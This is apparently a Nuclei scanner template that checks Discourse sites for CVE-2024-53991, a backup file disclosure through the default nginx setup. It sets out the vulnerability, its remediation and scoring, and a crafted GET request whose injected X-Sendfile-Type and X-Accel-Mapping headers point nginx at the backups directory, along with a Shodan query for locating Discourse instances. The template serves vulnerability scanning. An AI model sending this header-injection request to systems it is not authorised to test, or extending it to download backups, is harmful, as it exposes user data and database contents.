Discourse Backup File Disclosure Via Default Nginx Configuration

id: CVE-2024-53991

info:
  name: Discourse Backup File Disclosure Via Default Nginx Configuration
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
  impact: |
    Attackers who know the backup file name can bypass nginx access controls to download complete Discourse backup files containing sensitive data, user information, and database contents.
  remediation: |
    Update to the latest stable, beta or tests-passed version of Discourse. Alternatively, store backups on S3 or disable backups temporarily until the fix is applied.
  reference:
    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-53991
    cwe-id: CWE-200
    epss-score: 0.25431
    epss-percentile: 0.97697
  metadata:
    shodan-query: http.component:"Discourse"
  tags: cve,cve2024,discourse,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        part: body
        name: styles
        group: 1
        regex:
          - 'href="(/stylesheets/discourse-.*?)"'
        internal: true

  - raw:
      - |
        GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        X-Sendfile-Type: X-Accel-Redirect
        X-Accel-Mapping: .*=/downloads/backups/default/

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "text/html")'
          - 'contains(response, "discourse")'
        condition: and
# digest: 4a0a0047304502204791161c395d151c680c45aae9c2cb389646b361b7a1f4320e8579acb44fdfcc022100af0d8548c60f58397c61c365dc1d7c359e1e053e453ef56528d435f0b89c0845:922c64590222798bb761d5b6d8e72950